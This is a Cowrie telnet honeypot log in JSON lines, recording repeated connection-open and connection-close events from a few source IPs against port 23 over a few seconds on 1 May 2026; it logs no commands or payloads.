{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38470,"dst_ip":"10.17.0.5","dst_port":23,"session":"20629169f123","protocol":"telnet","message":"New connection: 104.167.8.156:38470 (10.17.0.5:23) [session: 20629169f123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.585556Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39022,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11ec5c199a3","protocol":"telnet","message":"New connection: 104.167.8.156:39022 (10.17.0.5:23) [session: d11ec5c199a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.753802Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"212d604174fe","protocol":"telnet","message":"New connection: 108.61.251.217:47084 (10.17.0.5:23) [session: 212d604174fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.761033Z"}
{"eventid":"cowrie.session.closed","duration":40.918044328689575,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:32.883448Z","src_ip":"188.208.141.113","session":"0c2f2b1caa3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174739360809326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:33.269678Z","src_ip":"104.167.8.156","session":"ed5a2f24aaa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38436,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b500629beb4","protocol":"telnet","message":"New connection: 104.167.8.156:38436 (10.17.0.5:23) [session: 8b500629beb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:33.581112Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47092,"dst_ip":"10.17.0.5","dst_port":23,"session":"18a92f11365e","protocol":"telnet","message":"New connection: 108.61.251.217:47092 (10.17.0.5:23) [session: 18a92f11365e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:33.636412Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dca1b751a11","protocol":"telnet","message":"New connection: 188.208.141.113:53544 (10.17.0.5:23) [session: 4dca1b751a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.108575Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a14c1465c2b","protocol":"telnet","message":"New connection: 104.167.8.156:43226 (10.17.0.5:23) [session: 5a14c1465c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.123454Z"}
{"eventid":"cowrie.session.closed","duration":30.401737928390503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.202412Z","src_ip":"104.167.8.156","session":"4e1c313361cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1038bf4924e1","protocol":"telnet","message":"New connection: 104.167.8.156:43818 (10.17.0.5:23) [session: 1038bf4924e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.318635Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43834,"dst_ip":"10.17.0.5","dst_port":23,"session":"2805eaf93aff","protocol":"telnet","message":"New connection: 104.167.8.156:43834 (10.17.0.5:23) [session: 2805eaf93aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.322845Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47104,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fbd53c02d12","protocol":"telnet","message":"New connection: 108.61.251.217:47104 (10.17.0.5:23) [session: 1fbd53c02d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.511742Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47108,"dst_ip":"10.17.0.5","dst_port":23,"session":"67b9336cf330","protocol":"telnet","message":"New connection: 108.61.251.217:47108 (10.17.0.5:23) [session: 67b9336cf330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:34.529437Z"}
{"eventid":"cowrie.session.closed","duration":30.260252475738525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.116653Z","src_ip":"108.61.251.217","session":"9b4b2a9a9ddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472127199172974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.122633Z","src_ip":"108.61.251.217","session":"29f8f01503c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.881556272506714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.258048Z","src_ip":"108.61.251.217","session":"de0495859af2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47124,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7719f022727","protocol":"telnet","message":"New connection: 104.167.8.156:47124 (10.17.0.5:23) [session: f7719f022727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.299529Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":47122,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f175b1d05a6","protocol":"telnet","message":"New connection: 108.61.251.217:47122 (10.17.0.5:23) [session: 2f175b1d05a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.338550Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44136,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4061aaf5bf","protocol":"telnet","message":"New connection: 104.167.8.156:44136 (10.17.0.5:23) [session: ea4061aaf5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.424599Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47656,"dst_ip":"10.17.0.5","dst_port":23,"session":"82871b6fc442","protocol":"telnet","message":"New connection: 104.167.8.156:47656 (10.17.0.5:23) [session: 82871b6fc442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.477384Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45274,"dst_ip":"10.17.0.5","dst_port":23,"session":"94e15e4bcfc4","protocol":"telnet","message":"New connection: 104.167.8.156:45274 (10.17.0.5:23) [session: 94e15e4bcfc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.753304Z"}
{"eventid":"cowrie.session.closed","duration":31.520941972732544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.805742Z","src_ip":"104.167.8.156","session":"ccd878f9d35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2376492023468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:35.867336Z","src_ip":"104.167.8.156","session":"b62125d995a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46410,"dst_ip":"10.17.0.5","dst_port":23,"session":"31764cc61cee","protocol":"telnet","message":"New connection: 104.167.8.156:46410 (10.17.0.5:23) [session: 31764cc61cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:36.124193Z"}
{"eventid":"cowrie.session.closed","duration":36.258803844451904,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:36.195419Z","src_ip":"188.208.141.113","session":"92bf5feff94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47772,"dst_ip":"10.17.0.5","dst_port":23,"session":"434ae2fb76c5","protocol":"telnet","message":"New connection: 104.167.8.156:47772 (10.17.0.5:23) [session: 434ae2fb76c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:36.520319Z"}
{"eventid":"cowrie.session.closed","duration":31.03848624229431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:36.837342Z","src_ip":"104.167.8.156","session":"a74f4adb498e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46832,"dst_ip":"10.17.0.5","dst_port":23,"session":"f763624e80fd","protocol":"telnet","message":"New connection: 108.61.251.217:46832 (10.17.0.5:23) [session: f763624e80fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:36.948073Z"}
{"eventid":"cowrie.session.closed","duration":31.42128014564514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:37.008593Z","src_ip":"104.167.8.156","session":"861103f4b2f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53548,"dst_ip":"10.17.0.5","dst_port":23,"session":"66cce9c3b815","protocol":"telnet","message":"New connection: 188.208.141.113:53548 (10.17.0.5:23) [session: 66cce9c3b815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:37.313350Z"}
{"eventid":"cowrie.session.closed","duration":30.553831338882446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:37.440690Z","src_ip":"104.167.8.156","session":"cd6a50a3ad89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54008,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b9f89739fe","protocol":"telnet","message":"New connection: 104.167.8.156:54008 (10.17.0.5:23) [session: 69b9f89739fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:37.515833Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45562,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94d908f9af7","protocol":"telnet","message":"New connection: 104.167.8.156:45562 (10.17.0.5:23) [session: e94d908f9af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:37.848784Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8cd849ffa2f","protocol":"telnet","message":"New connection: 108.61.251.217:46838 (10.17.0.5:23) [session: f8cd849ffa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:37.970437Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56868,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f534bf92e77","protocol":"telnet","message":"New connection: 104.167.8.156:56868 (10.17.0.5:23) [session: 8f534bf92e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:38.495947Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da8da3fb895","protocol":"telnet","message":"New connection: 104.167.8.156:57078 (10.17.0.5:23) [session: 1da8da3fb895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:38.553761Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57282,"dst_ip":"10.17.0.5","dst_port":23,"session":"73005496c4e6","protocol":"telnet","message":"New connection: 104.167.8.156:57282 (10.17.0.5:23) [session: 73005496c4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:38.628726Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46852,"dst_ip":"10.17.0.5","dst_port":23,"session":"1101303a0d4e","protocol":"telnet","message":"New connection: 108.61.251.217:46852 (10.17.0.5:23) [session: 1101303a0d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:38.659428Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48362,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71165a1deec","protocol":"telnet","message":"New connection: 104.167.8.156:48362 (10.17.0.5:23) [session: f71165a1deec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:38.737592Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"9354fc8d293f","protocol":"telnet","message":"New connection: 104.167.8.156:55824 (10.17.0.5:23) [session: 9354fc8d293f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.162800Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd03b721c3d1","protocol":"telnet","message":"New connection: 104.167.8.156:59384 (10.17.0.5:23) [session: fd03b721c3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.286602Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46856,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af77fdd6181","protocol":"telnet","message":"New connection: 108.61.251.217:46856 (10.17.0.5:23) [session: 2af77fdd6181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.355358Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a91f16adead","protocol":"telnet","message":"New connection: 104.167.8.156:56480 (10.17.0.5:23) [session: 3a91f16adead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.364230Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53562,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d15a0f890c5","protocol":"telnet","message":"New connection: 188.208.141.113:53562 (10.17.0.5:23) [session: 7d15a0f890c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.406275Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46858,"dst_ip":"10.17.0.5","dst_port":23,"session":"372b5931b2dd","protocol":"telnet","message":"New connection: 108.61.251.217:46858 (10.17.0.5:23) [session: 372b5931b2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.428820Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59998,"dst_ip":"10.17.0.5","dst_port":23,"session":"43eb947f3bf9","protocol":"telnet","message":"New connection: 104.167.8.156:59998 (10.17.0.5:23) [session: 43eb947f3bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.484909Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46864,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3f05f599aa2","protocol":"telnet","message":"New connection: 108.61.251.217:46864 (10.17.0.5:23) [session: a3f05f599aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.612990Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46866,"dst_ip":"10.17.0.5","dst_port":23,"session":"b476d5b2bc31","protocol":"telnet","message":"New connection: 108.61.251.217:46866 (10.17.0.5:23) [session: b476d5b2bc31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.672818Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ab3ab57450","protocol":"telnet","message":"New connection: 104.167.8.156:60706 (10.17.0.5:23) [session: f5ab3ab57450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:39.711848Z"}
{"eventid":"cowrie.session.closed","duration":30.412641048431396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:40.051589Z","src_ip":"104.167.8.156","session":"968a2cb0b1be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.255984783172607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:40.123719Z","src_ip":"104.167.8.156","session":"87b48c0c9758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"25d1b71d84d6","protocol":"telnet","message":"New connection: 108.61.251.217:46868 (10.17.0.5:23) [session: 25d1b71d84d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:40.603019Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35380,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e64aa151d23","protocol":"telnet","message":"New connection: 104.167.8.156:35380 (10.17.0.5:23) [session: 3e64aa151d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:40.696929Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46880,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca32c1fd31c5","protocol":"telnet","message":"New connection: 108.61.251.217:46880 (10.17.0.5:23) [session: ca32c1fd31c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:40.814235Z"}
{"eventid":"cowrie.session.closed","duration":30.382824659347534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:41.106849Z","src_ip":"108.61.251.217","session":"9cdb63a4e328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.144719123840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:41.471357Z","src_ip":"104.167.8.156","session":"614a9cce96c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef5b9f885d1","protocol":"telnet","message":"New connection: 104.167.8.156:37590 (10.17.0.5:23) [session: 9ef5b9f885d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:41.568972Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35520,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e32d7c5a912","protocol":"telnet","message":"New connection: 104.167.8.156:35520 (10.17.0.5:23) [session: 3e32d7c5a912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:41.744954Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38406,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d0641d89532","protocol":"telnet","message":"New connection: 104.167.8.156:38406 (10.17.0.5:23) [session: 4d0641d89532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:41.857708Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39142,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca9d81e59e2","protocol":"telnet","message":"New connection: 104.167.8.156:39142 (10.17.0.5:23) [session: 9ca9d81e59e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.115882Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55386,"dst_ip":"159.203.135.109","dst_port":23,"session":"28041f317e0d","protocol":"telnet","message":"New connection: 185.26.126.47:55386 (159.203.135.109:23) [session: 28041f317e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.143400Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39326,"dst_ip":"10.17.0.5","dst_port":23,"session":"959f0e69e6d2","protocol":"telnet","message":"New connection: 104.167.8.156:39326 (10.17.0.5:23) [session: 959f0e69e6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.184303Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39660,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b0ef382c738","protocol":"telnet","message":"New connection: 104.167.8.156:39660 (10.17.0.5:23) [session: 3b0ef382c738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.292250Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46886,"dst_ip":"10.17.0.5","dst_port":23,"session":"0589dc1a4bfb","protocol":"telnet","message":"New connection: 108.61.251.217:46886 (10.17.0.5:23) [session: 0589dc1a4bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.520554Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46892,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab61679451c","protocol":"telnet","message":"New connection: 108.61.251.217:46892 (10.17.0.5:23) [session: cab61679451c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.585745Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56390,"dst_ip":"10.17.0.5","dst_port":23,"session":"3133074ccdce","protocol":"telnet","message":"New connection: 188.208.141.113:56390 (10.17.0.5:23) [session: 3133074ccdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.792484Z"}
{"eventid":"cowrie.session.closed","duration":44.539366722106934,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:42.837687Z","src_ip":"188.208.141.113","session":"c16a1265c572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42156,"dst_ip":"10.17.0.5","dst_port":23,"session":"f175593c4ba2","protocol":"telnet","message":"New connection: 104.167.8.156:42156 (10.17.0.5:23) [session: f175593c4ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:43.139374Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42328,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0e7d7557154","protocol":"telnet","message":"New connection: 104.167.8.156:42328 (10.17.0.5:23) [session: d0e7d7557154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:43.208017Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44496,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7cd3474320","protocol":"telnet","message":"New connection: 104.167.8.156:44496 (10.17.0.5:23) [session: 4d7cd3474320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:43.989708Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45028,"dst_ip":"10.17.0.5","dst_port":23,"session":"be33a0ead26e","protocol":"telnet","message":"New connection: 104.167.8.156:45028 (10.17.0.5:23) [session: be33a0ead26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:44.190243Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b807b4b6aa","protocol":"telnet","message":"New connection: 108.61.251.217:46908 (10.17.0.5:23) [session: 90b807b4b6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:44.242458Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.216.47.153","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4cdac2bc51","protocol":"telnet","message":"New connection: 102.216.47.153:54646 (159.203.135.109:23) [session: 9d4cdac2bc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:44.305810Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46914,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ee4daed135","protocol":"telnet","message":"New connection: 108.61.251.217:46914 (10.17.0.5:23) [session: 39ee4daed135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:44.739713Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":46928,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddefb959dd41","protocol":"telnet","message":"New connection: 108.61.251.217:46928 (10.17.0.5:23) [session: ddefb959dd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:44.965218Z"}
